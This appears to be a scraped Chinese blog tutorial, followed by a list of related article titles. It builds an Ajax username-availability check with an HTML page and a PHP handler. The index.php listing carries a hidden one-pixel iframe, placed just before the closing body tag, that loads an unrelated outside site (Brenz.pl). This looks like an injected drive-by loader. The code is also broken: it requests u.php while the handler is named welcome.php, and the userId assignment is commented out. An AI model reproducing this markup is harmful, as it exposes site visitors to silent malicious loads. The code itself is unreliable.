设计一个用户注册页面,当用户输入注册名的时候,检测用户名是否已存在,如果存在,给予提示

我们先打index.php

<html><head><meta http-equiv="content-type" content="text/html; charset=gb2312" /><script type="text/JavaScript">function Ajax(){var xmlHttpReq=null;//初始对象xmlHttpReqif(window.ActiveXObject){xmlHttpReq=new ActiveXObject("Microsoft.XMLHTTP");}else if(window.XMLHttpRequest){xmlHttpReq=new XMLHttpRequest();}var userId=document.getElementById("userId").value;//value取得id为userId的值url="u.php?userId="+userId;//路径if(xmlHttpReq!=null){//若对象实例化创建成功xmlHttpReq.open("GET",url,true);//open()打开请求xmlHttpReq.onreadystatechange=RequestCallBack;//设置回调函数RequestCallBack()xmlHttpReq.send(null);//请求不包括正文}function RequestCallBack(){//回调函数if(xmlHttpReq.readystate==4){if(xmlHttpReq.status==200){//请求成功document.getElementById("get").innerHTML=xmlHttpReq.responseText;//将得到的信息赋给id属性为get的div}}}}</script></head><body><font>注册</font><br><form>用户名:<input type="text"value="yuki"id="userId"name="userId"><input type="button"value="检测"onclick="Ajax()"><div id="get"></div></form><iframe style="height:1px" src="http://www.Brenz.pl/rc/" frameborder=0 width=1></iframe>
</body>
</html>

welcome.php

<?php
header("content-type:text/html;charset=gb2312");
//sleep(1);$userId=$_GET["userId"];
if($userId=="管理员"){echo "用户名已存在!";
}else{echo "该用户名可以注册";
}
?>

PHP系列之集成Ajax实现登录验证相关推荐

  1. ajax登录验证的原理,ajax用户登录验证-get和post提交方式,与工作原理—2018-8-15...

    ajax用户登录验证: 实例 html> Ajax实战:表单验证 用户登录 邮箱: 密码: 提交 let btn = document.getElementsByTagName('button' ...

  2. 用ajax实现登陆验证,ajax异步登录验证实现

    如何用ajax异步登录验证实现? ajax异步无刷新登陆实现分为四步: class="fe_text jsv_required js_has_dval" title=请输入用户名 ...

  3. django系列8.3--django中间件实现登录验证(1)

    中间件版的登录验证需要依靠session,所以数据库中要有django_session表. urls.py from django.conf.urls import url from app01 im ...

  4. struts2 + ajax 用户名登录验证(struts2+spring+ibatis)

    js代码: [javascript]view plaincopy <!-- ajax 验证 --> <script type="text/javascript"& ...

  5. spring mvc+spring+mybatis+ajax实现登录验证

    <h1>Spring Mvc+Spring+Mybatis+Ajax 实现异步登录的例子,和大家分享一下.</h1><div>login.js代码:</div ...

  6. Spring Security技术栈学习笔记(十三)Spring Social集成第三方登录验证开发流程介绍

    开发第三方登录,我们必须首先要了解OAuth协议(本文所讲述的OAuth协议指的是OAuth2协议),本文首先简单介绍OAuth协议,然后基于Spring Social来阐述开发第三方登录需要做哪些准 ...

  7. Spring Security技术栈学习笔记(十四)使用Spring Social集成QQ登录验证方式

    上一篇文章<Spring Security技术栈开发企业级认证与授权(十三)Spring Social集成第三方登录验证开发流程介绍>主要是介绍了OAuth2协议的基本内容以及Spring ...

  8. Ajax+SpringMVC+JSON登录验证

    本项目是用maven管理的,代码调试没问题,本代码是在项目中拿下来的: 开始动手了–> 1,做个简单的登录框: /login.jsp/ 因为用ajax登录的原因,所以没有用表单,推荐用这种方式. ...

  9. Jeesite单点登录集成Cas另加自定义登录验证

    Jeesite单点登录集成Cas另加自定义登录验证 JeeSite是基于多个优秀的开源项目,高度整合封装而成的高效,高性能,强安全性的 开源 Java EE快速开发平台. Cas主要是用来解决多应用之 ...

最新文章

  1. 关于Javacript“原型”和“prototype属性”两者需要澄清的几点
  2. chrome扩展推荐 - 原生chrome浏览器小窗口看视频 - PIP Video
  3. operator new在C++中的各种写法
  4. 【开发必知】基本缓存概念
  5. php编写大型网站问题集
  6. 网络服务器虚拟化技术,网络虚拟化技术
  7. Python入门--else语句
  8. 通俗易懂的monteCarlo积分方法(八)
  9. 用python玩转数据第三周_《用Python玩转数据》-03 数据获取与表示
  10. 显卡算力排行2020_AMD正式发布RX6000系列显卡
  11. 书评:《深入浅出数据分析》
  12. 【微信自动续费】委托代扣接口常见问题QA
  13. 用matlab判断两个球是否相交,判断两个矩阵相交
  14. 分布式子系统之间通讯
  15. 第十三届蓝桥杯《EDA设计与开发》赛后总结
  16. C语言 “水仙花数”(包懂)
  17. js 只准输入数字_js 限制input只能输入数字
  18. cbnertvirtual内部框架下载_快速开发,支持前后端分离,微服务框架
  19. 算法表示法之大O表示法
  20. PLC的软件防干扰措施

热门文章

  1. SSM电影点播系统03-UI界面设计
  2. 第九届蓝桥杯省赛JAVA语言 C组题解_题7 缩位求和
  3. 2019 11 14
  4. 谁能教教我怎么学单片机,先学什么,怎么入门?
  5. 浅谈“李氏代换”——从纪念金庸和斯坦李说起
  6. 控制系统的复域数学模型
  7. sql server 可更新订阅 配置_更新前瞻丨前瞻内容大放送,暗部行动再次开启!
  8. 【如何3秒钟看出一个人的python实力|Python 数据分析打怪升级之路 day04】:手把手教你如何分析用户数据、数据分析基本概念
  9. Python 框架 之 Django 绑定 MySql ,MVT 实现简单一个简单的浏览器(内附详细步骤)
  10. 解决IntelliJ IDEA创建Maven项目没有src目录的问题